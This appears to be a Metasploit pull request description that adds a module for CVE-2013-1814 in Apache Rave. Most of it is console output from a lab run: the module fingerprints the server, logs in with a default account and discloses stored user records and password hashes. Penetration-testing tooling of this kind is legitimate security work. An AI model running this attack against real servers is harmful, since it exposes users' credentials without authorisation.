Add module for CVE-2013-1814

New PR which substitutes https://github.com/rapid7/metasploit-framework/pull/2088 because something weird has happened with my original branch.

Working after fix:

```
msf auxiliary(apache_rave_creds) > set VERBOSE true
VERBOSE => true
msf auxiliary(apache_rave_creds) > run

[*] 192.168.172.143:8080 - Fingerprinting...
[+] 192.168.172.143:8080 - Apache Rave 0.20 found. Vulnerable. Proceeding...
[*] 192.168.172.143:8080 - Login with default accounts...
[*] 192.168.172.143:8080 - Login with the canonical default account...
[+] 192.168.172.143:8080 - Login successful. Proceeding...
[*] 192.168.172.143:8080 - Disclosing information...
[*] 192.168.172.143:8080 - Disclosing offset 0...
[+] 192.168.172.143:8080 - Disclosure successful
[*] 192.168.172.143:8080 - Information for offset 0 saved in: /Users/juan/.msf4/loot/20130709134032_default_192.168.172.143_apache.rave.user_382636.bin
[*] 192.168.172.143:8080 - Recovering Hashes...
[+] 192.168.172.143:8080 - User canonical found
[+] 192.168.172.143:8080 - User four.col found
[+] 192.168.172.143:8080 - User fourwn.col found
[+] 192.168.172.143:8080 - User george.doe found
[+] 192.168.172.143:8080 - User jane.doe found
[+] 192.168.172.143:8080 - User john.doe found
[+] 192.168.172.143:8080 - User johnldap found
[+] 192.168.172.143:8080 - User juan found
[+] 192.168.172.143:8080 - User juan2 found
[+] 192.168.172.143:8080 - User maija.m found
[*] 192.168.172.143:8080 - Disclosing offset 10...
[+] 192.168.172.143:8080 - Disclosure successful
[*] 192.168.172.143:8080 - Information for offset 10 saved in: /Users/juan/.msf4/loot/20130709134032_default_192.168.172.143_apache.rave.user_277628.bin
[*] 192.168.172.143:8080 - Recovering Hashes...
[+] 192.168.172.143:8080 - User mario.rossi found
[+] 192.168.172.143:8080 - User one.col found
[+] 192.168.172.143:8080 - User rave2011.myopenid.com found
[+] 192.168.172.143:8080 - User three.col found
[+] 192.168.172.143:8080 - User threewn.col found
[+] 192.168.172.143:8080 - User twown.col found
[*] Auxiliary module execution completed

```